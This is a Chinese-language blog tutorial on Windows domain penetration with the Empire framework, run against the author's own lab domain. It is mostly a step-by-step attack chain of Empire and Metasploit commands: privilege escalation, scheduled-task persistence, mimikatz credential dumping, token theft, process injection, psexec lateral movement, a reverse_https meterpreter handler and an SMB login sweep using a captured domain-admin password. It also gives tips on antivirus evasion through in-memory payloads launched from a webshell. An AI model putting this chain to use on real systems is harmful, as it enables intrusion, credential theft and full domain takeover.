导语:Empire内网穿透姿势详解。

0x01 写在开始

上一篇文章只是单纯的介绍了一些Empire的基本用法,但这么强大的工具根本不是一篇文章可以说清楚的,就像Metasploit,如果我单纯写一篇文章给你,告诉你这就是Metasploit全部的用法了。但是,真正的实战中,绝对是一脸蒙蔽的往着眼前的显示器,我要用什么命令?我接下来要用什么模块?类似这些问题就会在的脑海里迸发,可以说是彻底蒙蔽的状态。

Empire也一样,所以我就决定再写一篇Empire的文章,在域渗透中的使用。这并不是真的域环境,通常在渗透测试中碰到的域环境肯定比我在本地测试的域环境要复杂的多。我并不是专业的运维人员,单单搭建就弄了一个早上,我主要目的是尽量多的给大家介绍Empire的功能模块,让大家尽量多的了解Empire,以至于不会在真正的测试环境中蒙蔽,当然这么大的工具不是简简单单可以说请的,还需要大家共同的摸索。

0x02 域环境结构

所在域:tt.smiletest.com

域控:windows server 2012 ip:10.10.10.10

域内其他成员: 

Windows 7 x32 ip:10.10.10.11

Windows 7 x64 ip:10.10.10.12

Windows 10 x64 ip:10.10.10.13

域环境结构图:(求妹子画得- -!)

 

 图片1.png

0x03 撸起袖子干

首先得拿到一个shell,当然这个shell怎么来的就看大家自行发挥了,你可以在webshell里直接执行用Empire生成的直接返回会话的shellcode,我也推荐这方法,别问我为啥,因为免杀,而且不会在对方机机器上产生什么明显的痕迹;当然你也可以上传Metasploit的反弹马,然后在shell下执行这条语句;你还可以在让服务器管理员帮你执行!

哈哈,开玩笑,这种方法不存在,总之方法很多了,大家自由发挥,我直接托代码进去执行了。

图片2.png

拿到一个命令行之后,看看域环境内的主机数量以及看看有几个域

执行命令:

Shell net view
Shell net view /domain

图片3.png

这里有一个地方需要注意的,再上一篇文章中说过,执行的如果不是Empire的命令,那么这条命令会被解析为windows命令,但是当执行的命令有空格,就必须要用shell去执行。

接下来要做什么?当然是提权了,当不知道用什么方法来提权的时候,可以使用一个模块来检测系统,让它告诉你应该用什么办法:

usemodule privesc/powerup/allchecks

图片4.png

看看设置,什么都不用做,直接执行,它会给返回我们想要的

图片5.png

可以看到,它列出了很多方法,可以直接bypassuac来提权,来吧执行一下,bypassuac 监听名

稍等几秒钟,就会返回一个更高权限的shell。

图片6.png

如果你还想要更的权限,可以使用一个模块提升到系统权限

usemodule persistence/elevated/schtasks

使用计划任务来帮我提升到系统权限

看看信息:

图片7.png

需要做的只是设置时间而已然后执行

set DailyTime 时间
Set Listener 监听名

现在要做的事情就是等了,等时间到了返回具有更高权限的shell

图片8.png

更高级的权限已经回来了,这个时候,首先得知道内网中到底有几台机器,还有就是他们的ip,要不怎么继续尽享下去囊?那种小事情则么可能是Empire模块不自带的事情囊?可以寻找一下模块

searchmodule arpscan

立马,Empire就回显了,并且提示了它的用处

图片9.png

usemodule situational_awareness/network/arpscan

设置一下要扫描的网段

set Range 10.10.10.10-10.10.10.30

执行就好了

图片10.png

扫描速度还是很快的,既然已经有权限了,那可以执行mimikatz来拿到当前靶机的帐号密码了,mimikatz的执行效果就不给了,等mimikatz执行完成以后直接creds来看Empire列举好的密码就好了。

图片11.png

发现还有域用户在这台机器上登录了,密码已明文的形式显示出来了,可以看到有4个用户密码出来了(尼玛,域管都读出来了,环境没配好,假装没有 ^_^!),知道谁登陆了,也有权限了,那自然可以窃取身份用户了吗!然后进行横向移动,来吧,先身份窃取吧,使用pth <ID>这里的ID号就添上面的用creds 命令拿到的CredID,注意,这里必须要是hash的CredID,不可以是明文的,来窃取smilewin7x64身份令牌

执行 pth <ID>命令返回PID进程号

图片12.png

可以看到这个用户的进程号,

steal_token PID

就可以窃取身份令牌了,可是这里我就日了狗了,命令就是没回显,完全是突发情况,没办法,给大家换一个思路,是使用进程注入模块,来获取权限

usemodule management/psinject

图片13.png

需要设置的就是ProcID 和 Listener就好了

set ProcId 2912
set Listener smiletest

设置好后执行,会返回一个新的会话

图片14.png

###你们想知道刚刚发生了什么吗?机器屏幕黑了一下,然后虚拟机去外加终端全部关掉了。有锤子么?还好我的文档随手保存,因为我曾经写500多行的代码没有保存,学机灵的,所以,大家也要养成随手ctrl+s…..题外话,我去整环境,重新来,唉。。

因为网络断掉,刚刚的数据有缓存,所以PID进程号码不对,大家可以清理一下缓存,重新执行,我的话懒,介绍新方法:

usemodule credentials/tokens

信息什么都不需要设置,直接执行

图片15.png

然后方法一样,进程注入

哈哈,成功拿到会话后,加下来做什么?当然是横向移动了,看看能不能用这个用户名拿到其他的机器。当然了,在渗透过程中直接模拟域管就好了,我这是为了跟大家演示,大家不要向我学习,这么傻的做无用功啊 ^_^!

其实这里我是知道可以登录哪里的机器的,但是想要寻找域管在哪里登录的,然后横向移动进去,窃取域管权限,不就可以拿到整个域了,我在这里提一下要怎么寻找域管在哪里登录的,使用模块

usemodule situational_awareness/network/powerview/user_hunter

也是powerview的模块,大家肯定都用过,看看需要设置什么

图片16.png

其实什么也不用设置,可以直接执行的,看一下这个设置吧,可以定向寻找一些东西,比如说你知道域管用户,那你可以设置一下的,还有计算机名,在这里直接执行,返回了域管登录在TTWIN7X64.tt.smiletest.com这台机器上,还有在这台机器上登录了smilewin7x64这个用户,哈~刚刚已经窃取到了权限,来吧,域管

来横向移动

usemodule situational_awareness/network/powerview/find_localadmin_access

查找整个域中全部的计算机名(实际上是powerview中的方法了)

图片17.png

什么都不需要设置,直接执行

图片18.png

返回了全部的机器名,

usemodule lateral_movement/invoke_psexec

一样,看看需要设置的东西

图片19.png

设置机器名和监听就行,开撸

set ComputerName TTWIN7X64.tt.smiletest.com
set Listener smiletest

执行

图片20.png

成功,而且是系统权限,那用相同的办法,进程注入从而得到域用户权限

过程略过

直接到获取到域用户kzhl权限

图片21.png

直接读密码了。渗透过程中可能读不到,你都有域管权限了,读不到怕啥??

图片22.png

拿到了域管的密码,做什么?当然是迅速扩张了!

0x04 迁移进程到MSF实现smb迅速扩张

使用模块

usemodule code_execution/invoke_shellcode

设置方法如下

set Lhost 10.10.10.1
set Lport 4444

图片23.png

在Metasploit设置监听

(用Empire用了一晚上,在重返Metasploit,我是谁?我要干嘛?命令怎么写?模块是什么?)

这里注意了,设置的payload必须是http或https的

use exploit/multi/handler
Set payload windows/meterpreter/reverse_https
set lport 4444
exploit

图片24.png

成功返回会话,接下来使用msf进行内网迅速扩张

use auxiliary/scanner/smb/smb_login
set rhosts 10.10.10.0/24
set smbuser kzhl
set smbpass admin888.
set smbdomain TT
set threads 16
Exploit

图片25.png

恭喜我,撸穿了整个域。。。

0x05 收获到的一些神奇的想法

我并没有去测试这些方法的可行性,只是异想天开的在脑海里呈现的一些思路。

1.当我们拿到webshell的时候,苦恼在目标机上的杀软,无法绕过,可以使用webshell去执行Empire的payload,他直接执行在内存中,杀软是没有任何效果的,亲测可行,之后在使用Empire的模块将其反弹会Metasploit,实现了免杀的过程。

2.大家都知道,在Metasploit下的代理是很容易就可以设置的,但是Empire下则不然,很麻烦的一个东西,如果对方有杀软,可以使用第一个小思路绕过之后,在通过Metasploit添加代理,然后在配置proxychains,使用proxychainx来帮助Empire杀入内网,当然你也可以使用其他的工具,大家如果对代理的使用不是很了解的话,可以参见shutter老哥的一篇文章

0x06 总结在最后

全文的逻辑和问题比较多,但是基本上给大家比较全面的介绍了Empire这款神器在真正渗透过程中的使用,我想通过这篇文章大家肯定对Empire有一个比较全面的了解,他牛的地方就用它,他弱的地方,用其他的工具辅助他。总之,工具是死的,人是活得。

哎呦,写这篇文章我表示我真的好辛苦,在渗透过程中碰到了很多问题,不过基本都是环境配置的问题,毕竟我不是运维,不过好在我成功的写完了全文。马达,刚刚从公司回来的发现烟没有了,现在终于写完了这篇文章,赶紧下楼买包烟冷静一下,这好几点的也不知道还有便利店开门,你们懂干活时候没有烟的痛苦么??感觉思路都被限制了!我相信你们懂我     ^_^

大家如果还对Empire有什么问题可以加这个群(617086434)问我,当然也可以进行其他的技术交流了,只要你愿意来。

源链接

Hacking more

...